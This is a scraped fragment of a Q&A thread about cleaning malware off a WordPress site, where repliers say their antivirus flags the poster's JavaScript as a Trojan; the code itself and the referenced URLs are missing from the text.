<div style=" display: none ;">
<input type="hidden" name="_wpcf7" value="41" />
<input type="hidden" name="_wpcf7_version" value="4.3" />
<input type="hidden" name="_wpcf7_locale" value="" />

Answer 1

I downloaded Anti-Malware Security and Brute-Force Firewall, now the threat disappear although there is still remaining, but on other url, which is

but these two only redirect the page to the main page..

PS. I have backups that is stored on the FTP before the cleanup should I delete them as well? or is it fine as long as they aren't running

Answer 2

My Antivirus (ESet Endpoint Security 5.0.2) detects the above javascript var block code as a Trojan virus and refuses to load this page while my antivirus is enabled. That's a pretty good sign this is indeed a bad code-block.

So to answer your query, yes, the code you posted is indeed malicious.

Answer 3

Wow, even my free Avast detects a malware by just reading your question.
